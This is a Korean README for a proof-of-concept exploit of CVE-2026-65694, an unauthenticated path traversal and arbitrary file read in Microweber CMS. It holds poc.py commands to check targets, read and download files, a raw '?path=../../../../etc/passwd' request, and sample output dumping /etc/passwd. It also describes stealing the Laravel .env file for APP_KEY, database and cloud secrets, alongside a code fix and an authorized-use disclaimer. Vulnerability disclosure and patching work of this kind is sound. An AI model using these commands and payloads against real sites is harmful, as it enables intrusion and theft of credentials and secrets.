
CVE-2026-65694에 대한 PoC — Microweber CMS (<=2.0.20) 비인증 경로 탐색 → 임의 파일 읽기 (.env / secrets)
CVE-2026-65694에 대한 개념 증명(PoC)로, Microweber CMS의 인증되지 않은 경로 탐색 → 임의 파일 읽기 취약점입니다.
인증되지 않은 공격자는 웹 서버 사용자가 접근할 수 있는 모든 파일 — Laravel .env(APP_KEY, DB 자격 증명, 메일/클라우드 비밀번호), /etc/passwd, 로그, 키, .php가 아닌 설정 파일 등 — 을 공개된 GET /userfiles/{path} 라우트를 통해 읽을 수 있습니다.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master (취약한 라인이 여전히 존재)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
라우트는 인증 없이 등록됩니다:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
두 가지 문제가 결합됩니다:
$request->path(속성 접근, $request->path() 메서드가 아님)는 Laravel의 Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path'))를 통해 확인됩니다. 따라서 ?path= 쿼리 매개변수가 {path} 라우트 세그먼트를 덮어씁니다 — 그리고 쿼리 값은 브라우저/서버가 적용하는 URL 경로 .. 정규화의 대상이 아닙니다.normalize_path()는 슬래시만 압축하며 ..를 제거하거나 해석하지 않고, 해석된 경로가 userfiles_path() 안에 유지되는지 확인하는 검사도 없습니다. 이후 PHP의 파일 계층이 파일시스템에서 .. 시퀀스를 해석합니다.컨트롤러는 .php, .phtml, .php7 확장자(skip_ext)만 차단하므로 PHP 소스는 직접 읽을 수 없지만 — 그 외의 모든 것은 읽을 수 있습니다 (.env, /etc/passwd, 로그, 키, SQLite DB, JSON/YAML 설정 등).
pip install -r requirements.txt
권장되는 public/ 문서 루트(Microweber가 제공하는 public/.htaccess 또는 nginx try_files $uri /index.php 프론트 컨트롤러)를 사용하는 모든 배포에서, userfiles/가 웹 루트 밖에 있고 /userfiles/*가 Laravel 라우터로 디스패치되는 경우 도달 가능합니다.
세 가지 동작:
python3 poc.py -u http://TARGET --check # 대상이 취약한가?
python3 poc.py -u http://TARGET -r /etc/passwd # 파일 읽기 (stdout으로 출력)
python3 poc.py -u http://TARGET -r .env # 앱 상대 경로도 동작
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # 파일을 디스크에 다운로드
| 플래그 |
|---|
탐색 깊이는 자동 감지됩니다(파일이 서빙될 때까지 ../ 증가). --depth N으로 재정의할 수 있습니다. --proxy http://127.0.0.1:8080으로 Burp를 경유할 수 있습니다. 원시 요청을 보려면 -v를 추가하세요.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
기본 요청은 단순히 다음과 같습니다:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
인증되지 않은 임의 파일 읽기. Laravel .env를 유출하면 APP_KEY(세션/쿠키 위조), 데이터베이스 자격 증명, 메일 비밀번호, 클라우드 키가 노출되어 — 사실상 인스턴스의 비밀 전체가 손상됩니다.
입력 속성 대신 바인딩된 라우트 매개변수를 읽고, realpath()로 정규화한 뒤, 해석된 경로가 userfiles_path() 안에 유지되는지 검증하세요:
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Bobur Abdugafforov가 발견하고 보고했습니다. CVE-2026-65694는 VulnCheck를 통해 지정되었습니다.
공인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마세요.
| 동작 |
|---|
--check | 데이터를 덤프하지 않고 대상이 취약한지 여부(예/아니오) 보고 |
-r, --read FILE | 파일을 읽고 stdout으로 출력 |
-d, --download FILE | 파일을 읽고 로컬에 저장 (-o/--output으로 이름 지정) |